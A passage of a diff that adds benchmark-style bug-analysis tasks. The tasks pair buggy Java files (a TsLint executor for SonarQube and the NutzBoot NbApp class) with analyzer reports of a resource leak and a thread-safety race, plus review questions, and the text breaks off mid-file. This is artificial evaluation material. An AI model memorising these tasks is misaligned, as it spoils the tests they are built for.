+    public List<String> execute(TsLintExecutorConfig config, List<String> files) {
+        if (config == null) {
+            throw new IllegalArgumentException("config");
+        }
+        else if (files == null) {
+            throw new IllegalArgumentException("files");
+        }
+        
+        // New up a command that's everything we need except the files to process
+        // We'll use this as our reference for chunking up files, if we need to
+        File tslintOutputFile = this.tempFolder.newFile();
+        String tslintOutputFilePath = tslintOutputFile.getAbsolutePath();
+        Command baseCommand = getBaseCommand(config, tslintOutputFilePath);
+        
+        LOG.debug("Using a temporary path for TsLint output: " + tslintOutputFilePath);
+
+        StringStreamConsumer stdOutConsumer = new StringStreamConsumer();
+        StringStreamConsumer stdErrConsumer = new StringStreamConsumer();
+        
+        List<String> toReturn = new ArrayList<String>();
+        
+        if (config.useTsConfigInsteadOfFileList()) {
+            LOG.debug("Running against a single project JSON file");
+            
+            // If we're being asked to use a tsconfig.json file, it'll contain
+            // the file list to lint - so don't batch, and just run with it
+            toReturn.add(this.getCommandOutput(baseCommand, stdOutConsumer, stdErrConsumer, tslintOutputFile, config.getTimeoutMs()));
+        }
+        else {        
+            int baseCommandLength = baseCommand.toCommandLine().length();
+            int availableForBatching = MAX_COMMAND_LENGTH - baseCommandLength;
+    
+            List<List<String>> batches = new ArrayList<List<String>>();
+            List<String> currentBatch = new ArrayList<String>();
+            batches.add(currentBatch);
+    
+            int currentBatchLength = 0;
+            for (int i = 0; i < files.size(); i++) {
+                String nextPath = this.preparePath(files.get(i).trim());
+    
+                // +1 for the space we'll be adding between filenames
+                if (currentBatchLength + nextPath.length() + 1 > availableForBatching) {
+                    // Too long to add to this batch, create new
+                    currentBatch = new ArrayList<String>();
+                    currentBatchLength = 0;
+                    batches.add(currentBatch);
+                }
+    
+                currentBatch.add(nextPath);
+                currentBatchLength += nextPath.length() + 1;
+            }
+    
+            LOG.debug("Split " + files.size() + " files into " + batches.size() + " batches for processing");
+                        
+            for (int i = 0; i < batches.size(); i++) {
+                StringBuilder outputBuilder = new StringBuilder();
+    
+                List<String> thisBatch = batches.get(i);
+    
+                Command thisCommand = getBaseCommand(config, tslintOutputFilePath);
+    
+                for (int fileIndex = 0; fileIndex < thisBatch.size(); fileIndex++) {
+                    thisCommand.addArgument(thisBatch.get(fileIndex));
+                }
+    
+                LOG.debug("Executing TsLint with command: " + thisCommand.toCommandLine());
+    
+                // Timeout is specified per file, not per batch (which can vary a lot)
+                // so multiply it up
+                toReturn.add(this.getCommandOutput(thisCommand, stdOutConsumer, stdErrConsumer, tslintOutputFile, config.getTimeoutMs() * thisBatch.size()));
+            }
+        }
+
+        return toReturn;
+    }
+    
+    private String getCommandOutput(Command thisCommand, StreamConsumer stdOutConsumer, StreamConsumer stdErrConsumer, File tslintOutputFile, Integer timeoutMs) {
+        LOG.debug("Executing TsLint with command: " + thisCommand.toCommandLine());
+
+        // Timeout is specified per file, not per batch (which can vary a lot)
+        // so multiply it up
+        this.createExecutor().execute(thisCommand, stdOutConsumer, stdErrConsumer, timeoutMs);
+
+        StringBuilder outputBuilder = new StringBuilder();
+
+        try {
+            BufferedReader reader = this.getBufferedReaderForFile(tslintOutputFile);
+            
+            String str;
+            while ((str = reader.readLine()) != null) {
+                outputBuilder.append(str);
+            }
+            
+            reader.close();
+            
+            return outputBuilder.toString();
+        }
+        catch (IOException ex) {
+            LOG.error("Failed to re-read TsLint output", ex);
+        }
+        
+        return "";
+    }
+    
+    protected BufferedReader getBufferedReaderForFile(File file) throws IOException {
+        return new BufferedReader(
+                new InputStreamReader(
+                           new FileInputStream(file), "UTF8"));
+    }
+
+    protected CommandExecutor createExecutor() {
+        return CommandExecutor.create();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getBufferedReaderForFile(...)` at line 171 is not released after line 182.
+**Note**: potential exception at line 174
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String TsLintExecutorImpl.getCommandOutput(Command,StreamConsumer,StreamConsumer,File,Integer)
+
+### Procedure Id:
+com.pablissimo.sonar.TsLintExecutorImpl.getCommandOutput(org.sonar.api.utils.command.Command,org.son.ede58b405c239f2dedb3f9021019eff8
+
+### File:
+src/main/java/com/pablissimo/sonar/TsLintExecutorImpl.java
+
+### Key:
+TsLintExecutorImpl.java|getCommandOutput|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+7e40a9b9f79262bcaa75c1bdc11cd6c4
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9413/instruction.md b/inferredbugs-9413/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..db5aa53a88b364b954198cda55b9ca04d92b4967
--- /dev/null
+++ b/inferredbugs-9413/instruction.md
@@ -0,0 +1,592 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nutzboot
+**Bug ID:** 32
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.nutz.boot;
+
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.nutz.boot.aware.AppContextAware;
+import org.nutz.boot.aware.ClassLoaderAware;
+import org.nutz.boot.aware.EnvHolderAware;
+import org.nutz.boot.aware.IocAware;
+import org.nutz.boot.aware.ResourceLoaderAware;
+import org.nutz.boot.banner.SimpleBannerPrinter;
+import org.nutz.boot.config.ConfigureLoader;
+import org.nutz.boot.config.impl.PropertiesConfigureLoader;
+import org.nutz.boot.env.SystemPropertiesEnvHolder;
+import org.nutz.boot.ioc.IocLoaderProvider;
+import org.nutz.boot.metrics.impl.MemoryCounterService;
+import org.nutz.boot.resource.ResourceLoader;
+import org.nutz.boot.resource.impl.SimpleResourceLoader;
+import org.nutz.boot.tools.NbAppEventListener;
+import org.nutz.boot.tools.NbAppEventListener.EventType;
+import org.nutz.boot.tools.PropDocReader;
+import org.nutz.ioc.IocLoader;
+import org.nutz.ioc.impl.NutIoc;
+import org.nutz.ioc.loader.annotation.AnnotationIocLoader;
+import org.nutz.ioc.loader.annotation.IocBean;
+import org.nutz.ioc.loader.combo.ComboIocLoader;
+import org.nutz.lang.Lang;
+import org.nutz.lang.Mirror;
+import org.nutz.lang.Stopwatch;
+import org.nutz.lang.Streams;
+import org.nutz.lang.Strings;
+import org.nutz.lang.util.LifeCycle;
+import org.nutz.log.Log;
+import org.nutz.log.LogAdapter;
+import org.nutz.log.Logs;
+import org.nutz.mvc.Mvcs;
+import org.nutz.mvc.annotation.IocBy;
+import org.nutz.resource.Scans;
+
+/**
+ * NutzBoot的主体
+ * 
+ * @author wendal
+ *
+ */
+public class NbApp extends Thread {
+
+    /**
+     * 日志属性要等日志适配器准备好了才能加载,这里不可以使用Logs.get();
+     */
+    protected static Log log;
+
+    /**
+     * 命令行参数
+     */
+    protected String[] args;
+
+    /**
+     * 是否允许命令行下的 -Dxxx.xxx.xxx=转为配置参数
+     */
+    protected boolean allowCommandLineProperties = true;
+
+    /**
+     * 是否打印配置文档
+     */
+    protected boolean printProcDoc;
+
+    /**
+     * 主上下文
+     */
+    protected AppContext ctx;
+
+    /**
+     * Starter共享的IocLoader
+     */
+    protected AnnotationIocLoader starterIocLoader;
+
+    /**
+     * Starter类列表
+     */
+    protected List<Class<?>> starterClasses;
+
+    protected boolean prepared;
+
+    protected Object lock;
+    
+    protected List<NbAppEventListener> listeners = new LinkedList<>();
+    
+    protected boolean started;
+
+    /**
+     * 创建一个NbApp,把调用本构造方法的类作为mainClass
+     */
+    public NbApp() {
+        ctx = AppContext.getDefault();
+        StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+        if (ts.length > 2) {
+            setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+        }
+    }
+
+    /**
+     * 基于mainClass创建一个NbApp
+     * 
+     * @param mainClass
+     *            主启动类
+     */
+    public NbApp(Class<?> mainClass) {
+        ctx = AppContext.getDefault();
+        setMainClass(mainClass);
+    }
+
+    public NbApp(AppContext ctx) {
+        this.ctx = ctx;
+        StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+        if (ts.length > 2) {
+            setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+        }
+    }
+
+    public NbApp(AppContext ctx, Class<?> mainClass) {
+        this.ctx = ctx;
+        setMainClass(mainClass);
+    }
+
+    /**
+     * 设置命令行参数,可选
+     */
+    public NbApp setArgs(String[] args) {
+        this.args = args;
+        return this;
+    }
+
+    /**
+     * 设置主启动类
+     */
+    public NbApp setMainClass(Class<?> mainClass) {
+        this.ctx.setMainClass(mainClass);
+        return this;
+    }
+
+    /**
+     * 是否允许从命令行读取配置信息, 例如 java -Dnutz.ioc.async.poolSize=128 xxx.jar
+     * 
+     * @param flag
+     *            默认允许
+     */
+    public NbApp setAllowCommandLineProperties(boolean flag) {
+        this.allowCommandLineProperties = flag;
+        return this;
+    }
+
+    /**
+     * 是否打印配置文档
+     */
+    public NbApp setPrintProcDoc(boolean printProcDoc) {
+        this.printProcDoc = printProcDoc;
+        return this;
+    }
+
+    /**
+     * 获取全局上下文
+     * 
+     * @return
+     */
+    public AppContext getAppContext() {
+        return ctx;
+    }
+
+    public void run() {
+        try {
+            if (execute()) {
+                lock = new Object();
+                synchronized (lock) {
+                    lock.wait();
+                }
+            }
+            // 收尾
+            _shutdown();
+        }
+        catch (Throwable e) {
+            Logs.get().error("something happen", e);
+        }
+    }
+    
+    public boolean execute() {
+        Stopwatch sw = Stopwatch.begin();
+        try {
+            // 各种预备操作
+        	listeners.forEach((listener)->listener.whenPrepare(this, EventType.before));
+            this.prepare();
+            listeners.forEach((listener)->listener.whenPrepare(this, EventType.after));
+
+            // 依次启动
+            listeners.forEach((listener)->listener.whenInitAppContext(this, EventType.before));
+            ctx.init();
+            listeners.forEach((listener)->listener.whenInitAppContext(this, EventType.after));
+
+            listeners.forEach((listener)->listener.whenStartServers(this, EventType.before));
+            ctx.startServers();
+            listeners.forEach((listener)->listener.whenStartServers(this, EventType.after));
+
+            if (ctx.getMainClass().getAnnotation(IocBean.class) != null)
+                ctx.getIoc().get(ctx.getMainClass());
+
+            listeners.forEach((listener)->listener.afterAppStated(this));
+
+            sw.stop();
+            log.infof("%s started : %sms", ctx.getConf().get("nutz.application.name", "NB"),  sw.du());
+            started = true;
+            return true;
+        }
+        catch (Throwable e) {
+            log.error("something happen!!", e);
+            return false;
+        }
+    }
+    
+    public void _shutdown() {
+        try {
+            ctx.stopServers();
+            ctx.depose();
+        }
+        catch (Exception e) {
+            throw Lang.wrapThrow(e);
+        }
+    }
+
+    public void shutdown() {
+        log.info("ok, shutting down ...");
+        if (lock == null) {
+            _shutdown();
+        }
+        else {
+            synchronized (lock) {
+                lock.notify();
+            }
+        }
+    }
+
+    /**
+     * 执行预备操作
+     */
+    public void prepare() throws Exception {
+        if (prepared)
+            return;
+        // 初始化上下文
+        listeners.forEach((listener)->listener.whenPrepareBasic(this, EventType.before));
+        this.prepareBasic();
+        listeners.forEach((listener)->listener.whenPrepareBasic(this, EventType.after));
+
+        // 打印Banner,暂时不可配置具体的类
+        new SimpleBannerPrinter().printBanner(ctx);
+
+        // 配置信息要准备好
+
+        listeners.forEach((listener)->listener.whenPrepareConfigureLoader(this, EventType.before));
+        this.prepareConfigureLoader();
+        listeners.forEach((listener)->listener.whenPrepareConfigureLoader(this, EventType.after));
+
+        // 创建IocLoader体系
+        listeners.forEach((listener)->listener.whenPrepareIocLoader(this, EventType.before));
+        prepareIocLoader();
+        listeners.forEach((listener)->listener.whenPrepareIocLoader(this, EventType.after));
+
+        // 加载各种starter
+        listeners.forEach((listener)->listener.whenPrepareStarterClassList(this, EventType.before));
+        prepareStarterClassList();
+        listeners.forEach((listener)->listener.whenPrepareStarterClassList(this, EventType.after));
+
+        // 打印配置文档
+        if (printProcDoc) {
+            PropDocReader docReader = new PropDocReader();
+            docReader.load(starterClasses);
+            if (getAppContext().getConf().get("nutz.propdoc.packages") != null) {
+                for (String pkg : Strings.splitIgnoreBlank(getAppContext().getConf().get("nutz.propdoc.packages"))) {
+                    for (Class<?> klass : Scans.me().scanPackage(pkg)) {
+                        if (klass.isInterface())
+                            continue;
+                        docReader.addClass(klass);
+                    }
+                }
+            }
+            Logs.get().info("Configure Manual:\r\n" + docReader.toMarkdown());
+        }
+
+        // 创建Ioc容器
+        listeners.forEach((listener)->listener.whenPrepareIoc(this, EventType.before));
+        prepareIoc();
+        listeners.forEach((listener)->listener.whenPrepareIoc(this, EventType.after));
+
+        // 生成Starter实例
+        listeners.forEach((listener)->listener.whenPrepareStarterInstance(this, EventType.before));
+        prepareStarterInstance();
+        listeners.forEach((listener)->listener.whenPrepareStarterInstance(this, EventType.after));
+
+        // 从Ioc容器检索Listener
+        listeners.addAll(ctx.getBeans(NbAppEventListener.class));
+        
+        prepared = true;
+    }
+
+    public void prepareBasic() throws Exception {
+        // 检查ClassLoader的情况
+        if (ctx.getClassLoader() == null)
+            ctx.setClassLoader(NbApp.class.getClassLoader());
+
+        if (ctx.getEnvHolder() == null) {
+            ctx.setEnvHolder(new SystemPropertiesEnvHolder());
+        }
+
+        // 看看日志应该用哪个
+        String logAdapter = ctx.getEnvHolder().get("nutz.boot.base.LogAdapter");
+        if (!Strings.isBlank(logAdapter)) {
+            Logs.setAdapter((LogAdapter) ctx.getClassLoader().loadClass(logAdapter).newInstance());
+        }
+        log = Logs.get();
+        // 资源加载器
+        if (ctx.getResourceLoader() == null) {
+            ResourceLoader resourceLoader = new SimpleResourceLoader();
+            aware(resourceLoader);
+            ctx.setResourceLoader(resourceLoader);
+        }
+    }
+
+    public void prepareConfigureLoader() throws Exception {
+        if (ctx.getConfigureLoader() == null) {
+            ConfigureLoader configureLoader = null;
+            InputStream ins = ctx.getResourceLoader().get("META-INF/nutz/org.nutz.boot.config.ConfigureLoader");
+            if (ins != null) {
+                String cnfLoader = new String(Streams.readBytes(ins)).trim();
+                if (!Strings.isBlank(cnfLoader)) {
+                    log.debugf("using %s as ConfigureLoader", cnfLoader);
+                    configureLoader = (ConfigureLoader) ctx.getClassLoader().loadClass(cnfLoader).newInstance();
+                }
+            }
+            if (configureLoader == null) {
+                configureLoader = new PropertiesConfigureLoader();
+            }
+            configureLoader.setCommandLineProperties(allowCommandLineProperties, args);
+            aware(configureLoader);
+            ctx.setConfigureLoader(configureLoader);
+            if (configureLoader instanceof LifeCycle)
+                ((LifeCycle) configureLoader).init();
+        }
+    }
+
+    public void prepareIocLoader() throws Exception {
+        if (ctx.getComboIocLoader() == null) {
+            int asyncPoolSize = ctx.getConfigureLoader().get().getInt("nutz.ioc.async.poolSize", 64);
+            List<String> args = new ArrayList<>();
+            args.add("*js");
+            args.add("ioc/");
+            args.add("*tx");
+            args.add("*async");
+            args.add("" + asyncPoolSize);
+            args.add("*anno");
+            args.add(ctx.getPackage());
+            IocBy iocBy = ctx.getMainClass().getAnnotation(IocBy.class);
+            if (iocBy != null) {
+                String[] tmp = iocBy.args();
+                ArrayList<String> _args = new ArrayList<>();
+                for (int i = 0; i < tmp.length; i++) {
+                    if (tmp[i].startsWith("*")) {
+                        if (!_args.isEmpty()) {
+                            switch (_args.get(0)) {
+                            case "*tx":
+                            case "*async":
+                            case "*anno":
+                            case "*js":
+                                break;
+                            default:
+                                args.addAll(_args);
+                            }
+                            _args.clear();
+                        }
+                    }
+                    _args.add(tmp[i]);
+                }
+                if (_args.size() > 0) {
+                    switch (_args.get(0)) {
+                    case "*tx":
+                    case "*async":
+                    case "*anno":
+                    case "*js":
+                        break;
+                    default:
+                        args.addAll(_args);
+                    }
+                }
+            }
+            ctx.setComboIocLoader(new ComboIocLoader(args.toArray(new String[args.size()])));
+        }
+        // 用于加载Starter的IocLoader
+        starterIocLoader = new AnnotationIocLoader(NbApp.class.getPackage().getName() + ".starter");
+        ctx.getComboIocLoader().addLoader(starterIocLoader);
+    }
+
+    public void prepareStarterClassList() throws Exception {
+        starterClasses = new ArrayList<>();
+        HashSet<String> classNames = new HashSet<>();
+        Enumeration<URL> _en = ctx.getClassLoader().getResources("META-INF/nutz/org.nutz.boot.starter.NbStarter");
+        while (_en.hasMoreElements()) {
+            URL url = _en.nextElement();
+            log.debug("Found " + url);
+            try (InputStream ins = url.openStream()) {
+                InputStreamReader reader = new InputStreamReader(ins);
+                String tmp = Streams.readAndClose(reader);
+                if (!Strings.isBlank(tmp)) {
+                    for (String _tmp : Strings.splitIgnoreBlank(tmp, "[\n]")) {
+                        String className = _tmp.trim();
+                        if (!classNames.add(className))
+                            continue;
+                        Class<?> klass = ctx.getClassLoader().loadClass(className);
+                        if (!klass.getPackage().getName().startsWith(NbApp.class.getPackage().getName()) && klass.getAnnotation(IocBean.class) != null) {
+                            starterIocLoader.addClass(klass);
+                        }
+                        starterClasses.add(klass);
+                    }
+                }
+            }
+        }
+    }
+
+    public void prepareIoc() {
+        if (ctx.getIoc() == null) {
+            ctx.setIoc(new NutIoc(ctx.getComboIocLoader()));
+        }
+        // 把核心对象放进ioc容器
+        if (!ctx.ioc.has("appContext")) {
+        	ctx.ioc.addBean("appContext", ctx);
+        	ctx.ioc.addBean("conf", ctx.getConf());
+        	ctx.ioc.addBean("nbApp", this);
+            // 添加更多扩展bean
+        	ctx.ioc.addBean("counterService", new MemoryCounterService());
+        }
+        Mvcs.ctx().iocs.put("nutz", ctx.getIoc());
+    }
+
+    public void prepareStarterInstance() {
+        for (Class<?> klass : starterClasses) {
+            Object obj;
+            if (klass.getAnnotation(IocBean.class) == null) {
+                obj = Mirror.me(klass).born();
+            } else {
+                continue;
+            }
+            aware(obj);
+            if (obj instanceof IocLoaderProvider) {
+                IocLoader loader = ((IocLoaderProvider) obj).getIocLoader();
+                ctx.getComboIocLoader().addLoader(loader);
+            }
+            ctx.addStarter(obj);
+        }
+        for (Class<?> klass : starterClasses) {
+            Object obj;
+            if (klass.getAnnotation(IocBean.class) == null) {
+                continue;
+            } else {
+                obj = ctx.getIoc().get(klass);
+            }
+            aware(obj);
+            if (obj instanceof IocLoaderProvider) {
+                IocLoader loader = ((IocLoaderProvider) obj).getIocLoader();
+                ctx.getComboIocLoader().addLoader(loader);
+            }
+            ctx.addStarter(obj);
+        }
+    }
+
+    protected void aware(Object obj) {
+        // 需要注入AppContext
+        if (obj instanceof AppContextAware) {
+            ((AppContextAware) obj).setAppContext(ctx);
+        }
+        // 需要注入ClassLoader
+        if (obj instanceof ClassLoaderAware) {
+            ((ClassLoaderAware) obj).setClassLoader(ctx.getClassLoader());
+        }
+        // 需要注入EnvHolder
+        if (obj instanceof EnvHolderAware) {
+            ((EnvHolderAware) obj).setEnvHolder(ctx.getEnvHolder());
+        }
+        // 需要注入ResourceLoader
+        if (obj instanceof ResourceLoaderAware) {
+            ((ResourceLoaderAware) obj).setResourceLoader(ctx.getResourceLoader());
+        }
+        // 需要注入Ioc
+        if (obj instanceof IocAware) {
+            ((IocAware) obj).setIoc(ctx.getIoc());
+        }
+    }
+
+    public void setListener(NbAppEventListener listener) {
+        this.listeners.clear();
+        addListener(listener);
+    }
+    
+    public void addListener(NbAppEventListener listener) {
+    	this.listeners.add(listener);
+    }
+    
+    public boolean isStarted() {
+        return started;
+    }
+    
+    public NbApp setMainPackage(String mainPackage) {
+        getAppContext().setMainPackage(mainPackage);
+        return this;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.nutz.boot.NbApp.prepareStarterClassList` reads without synchronization from `this.org.nutz.boot.NbApp.starterClasses`. Potentially races with write in method `NbApp.run()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NbApp.prepareStarterClassList()
+
+### Procedure Id:
+org.nutz.boot.NbApp.prepareStarterClassList():void.13b0567fe7050a0853d221c42bbf6e2a
+
+### File:
+nutzboot-core/src/main/java/org/nutz/boot/NbApp.java
+
+### Key:
+NbApp.java|prepareStarterClassList|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+e728747110b6203aaab2c3800c50ca91
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9414/instruction.md b/inferredbugs-9414/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c5bb448c5393aeafee5d41b2dc31bce82bd20e8c
--- /dev/null
+++ b/inferredbugs-9414/instruction.md
@@ -0,0 +1,601 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nutzboot
+**Bug ID:** 33
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.nutz.boot;
+
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.nutz.boot.aware.AppContextAware;
+import org.nutz.boot.aware.ClassLoaderAware;
+import org.nutz.boot.aware.EnvHolderAware;
+import org.nutz.boot.aware.IocAware;
+import org.nutz.boot.aware.ResourceLoaderAware;
+import org.nutz.boot.banner.SimpleBannerPrinter;
+import org.nutz.boot.config.ConfigureLoader;
+import org.nutz.boot.config.impl.PropertiesConfigureLoader;
+import org.nutz.boot.env.SystemPropertiesEnvHolder;
+import org.nutz.boot.ioc.IocLoaderProvider;
+import org.nutz.boot.metrics.impl.MemoryCounterService;
+import org.nutz.boot.resource.ResourceLoader;
+import org.nutz.boot.resource.impl.SimpleResourceLoader;
+import org.nutz.boot.tools.NbAppEventListener;
+import org.nutz.boot.tools.NbAppEventListener.EventType;
+import org.nutz.boot.tools.PropDocReader;
+import org.nutz.ioc.IocLoader;
+import org.nutz.ioc.impl.NutIoc;
+import org.nutz.ioc.loader.annotation.AnnotationIocLoader;
+import org.nutz.ioc.loader.annotation.IocBean;
+import org.nutz.ioc.loader.combo.ComboIocLoader;
+import org.nutz.lang.Lang;
+import org.nutz.lang.Mirror;
+import org.nutz.lang.Stopwatch;
+import org.nutz.lang.Streams;
+import org.nutz.lang.Strings;
+import org.nutz.lang.util.LifeCycle;
+import org.nutz.log.Log;
+import org.nutz.log.LogAdapter;
+import org.nutz.log.Logs;
+import org.nutz.mvc.Mvcs;
+import org.nutz.mvc.annotation.IocBy;
+import org.nutz.resource.Scans;
+
+/**
+ * NutzBoot的主体
+ * 
+ * @author wendal
+ *
+ */
+public class NbApp extends Thread {
+
+    /**
+     * 日志属性要等日志适配器准备好了才能加载,这里不可以使用Logs.get();
+     */
+    protected static Log log;
+
+    /**
+     * 命令行参数
+     */
+    protected String[] args;
+
+    /**
+     * 是否允许命令行下的 -Dxxx.xxx.xxx=转为配置参数
+     */
+    protected boolean allowCommandLineProperties = true;
+
+    /**
+     * 是否打印配置文档
+     */
+    protected boolean printProcDoc;
+
+    /**
+     * 主上下文
+     */
+    protected AppContext ctx;
+
+    /**
+     * Starter共享的IocLoader
+     */
+    protected AnnotationIocLoader starterIocLoader;
+
+    /**
+     * Starter类列表
+     */
+    protected List<Class<?>> starterClasses = new LinkedList<>();
+
+    protected boolean prepared;
+
+    protected Object lock;
+    
+    protected List<NbAppEventListener> listeners = new LinkedList<>();
+    
+    protected boolean started;
+
+    /**
+     * 创建一个NbApp,把调用本构造方法的类作为mainClass
+     */
+    public NbApp() {
+        ctx = AppContext.getDefault();
+        StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+        if (ts.length > 2) {
+            setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+        }
+    }
+
+    /**
+     * 基于mainClass创建一个NbApp
+     * 
+     * @param mainClass
+     *            主启动类
+     */
+    public NbApp(Class<?> mainClass) {
+        ctx = AppContext.getDefault();
+        setMainClass(mainClass);
+    }
+
+    public NbApp(AppContext ctx) {
+        this.ctx = ctx;
+        StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+        if (ts.length > 2) {
+            setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+        }
+    }
+
+    public NbApp(AppContext ctx, Class<?> mainClass) {
+        this.ctx = ctx;
+        setMainClass(mainClass);
+    }
+
+    /**
+     * 设置命令行参数,可选
+     */
+    public NbApp setArgs(String[] args) {
+        this.args = args;
+        return this;
+    }
+
+    /**
+     * 设置主启动类
+     */
+    public NbApp setMainClass(Class<?> mainClass) {
+        this.ctx.setMainClass(mainClass);
+        return this;
+    }
+
+    /**
+     * 是否允许从命令行读取配置信息, 例如 java -Dnutz.ioc.async.poolSize=128 xxx.jar
+     * 
+     * @param flag
+     *            默认允许
+     */
+    public NbApp setAllowCommandLineProperties(boolean flag) {
+        this.allowCommandLineProperties = flag;
+        return this;
+    }
+
+    /**
+     * 是否打印配置文档
+     */
+    public NbApp setPrintProcDoc(boolean printProcDoc) {
+        this.printProcDoc = printProcDoc;
+        return this;
+    }
+
+    /**
+     * 获取全局上下文
+     * 
+     * @return
+     */
+    public AppContext getAppContext() {
+        return ctx;
+    }
+
+    public void run() {
+        try {
+            if (execute()) {
+                lock = new Object();
+                synchronized (lock) {
+                    lock.wait();
+                }
+            }
+            // 收尾
+            _shutdown();
+        }
+        catch (Throwable e) {
+            Logs.get().error("something happen", e);
+        }
+    }
+    
+    public boolean execute() {
+        Stopwatch sw = Stopwatch.begin();
+        try {
+            // 各种预备操作
+        	listeners.forEach((listener)->listener.whenPrepare(this, EventType.before));
+            this.prepare();
+            listeners.forEach((listener)->listener.whenPrepare(this, EventType.after));
+
+            // 依次启动
+            listeners.forEach((listener)->listener.whenInitAppContext(this, EventType.before));
+            ctx.init();
+            listeners.forEach((listener)->listener.whenInitAppContext(this, EventType.after));
+
+            listeners.forEach((listener)->listener.whenStartServers(this, EventType.before));
+            ctx.startServers();
+            listeners.forEach((listener)->listener.whenStartServers(this, EventType.after));
+
+            if (ctx.getMainClass().getAnnotation(IocBean.class) != null)
+                ctx.getIoc().get(ctx.getMainClass());
+
+            listeners.forEach((listener)->listener.afterAppStated(this));
+
+            sw.stop();
+            log.infof("%s started : %sms", ctx.getConf().get("nutz.application.name", "NB"),  sw.du());
+            started = true;
+            return true;
+        }
+        catch (Throwable e) {
+            log.error("something happen!!", e);
+            return false;
+        }
+    }
+    
+    public void _shutdown() {
+        try {
+            ctx.stopServers();
+            ctx.depose();
+        }
+        catch (Exception e) {
+            throw Lang.wrapThrow(e);
+        }
+    }
+
+    public void shutdown() {
+        log.info("ok, shutting down ...");
+        if (lock == null) {
+            _shutdown();
+        }
+        else {
+            synchronized (lock) {
+                lock.notify();
+            }
+        }
+    }
+
+    /**
+     * 执行预备操作
+     */
+    public void prepare() throws Exception {
+        if (prepared)
+            return;
+        // 初始化上下文
+        listeners.forEach((listener)->listener.whenPrepareBasic(this, EventType.before));
+        this.prepareBasic();
+        listeners.forEach((listener)->listener.whenPrepareBasic(this, EventType.after));
+
+        // 打印Banner,暂时不可配置具体的类
+        new SimpleBannerPrinter().printBanner(ctx);
+
+        // 配置信息要准备好
+
+        listeners.forEach((listener)->listener.whenPrepareConfigureLoader(this, EventType.before));
+        this.prepareConfigureLoader();
+        listeners.forEach((listener)->listener.whenPrepareConfigureLoader(this, EventType.after));
+
+        // 创建IocLoader体系
+        listeners.forEach((listener)->listener.whenPrepareIocLoader(this, EventType.before));
+        prepareIocLoader();
+        listeners.forEach((listener)->listener.whenPrepareIocLoader(this, EventType.after));
+
+        // 加载各种starter
+        listeners.forEach((listener)->listener.whenPrepareStarterClassList(this, EventType.before));
+        prepareStarterClassList();
+        listeners.forEach((listener)->listener.whenPrepareStarterClassList(this, EventType.after));
+
+        // 打印配置文档
+        if (printProcDoc) {
+            PropDocReader docReader = new PropDocReader();
+            docReader.load(starterClasses);
+            if (getAppContext().getConf().get("nutz.propdoc.packages") != null) {
+                for (String pkg : Strings.splitIgnoreBlank(getAppContext().getConf().get("nutz.propdoc.packages"))) {
+                    for (Class<?> klass : Scans.me().scanPackage(pkg)) {
+                        if (klass.isInterface())
+                            continue;
+                        docReader.addClass(klass);
+                    }
+                }
+            }
+            Logs.get().info("Configure Manual:\r\n" + docReader.toMarkdown());
+        }
+
+        // 创建Ioc容器
+        listeners.forEach((listener)->listener.whenPrepareIoc(this, EventType.before));
+        prepareIoc();
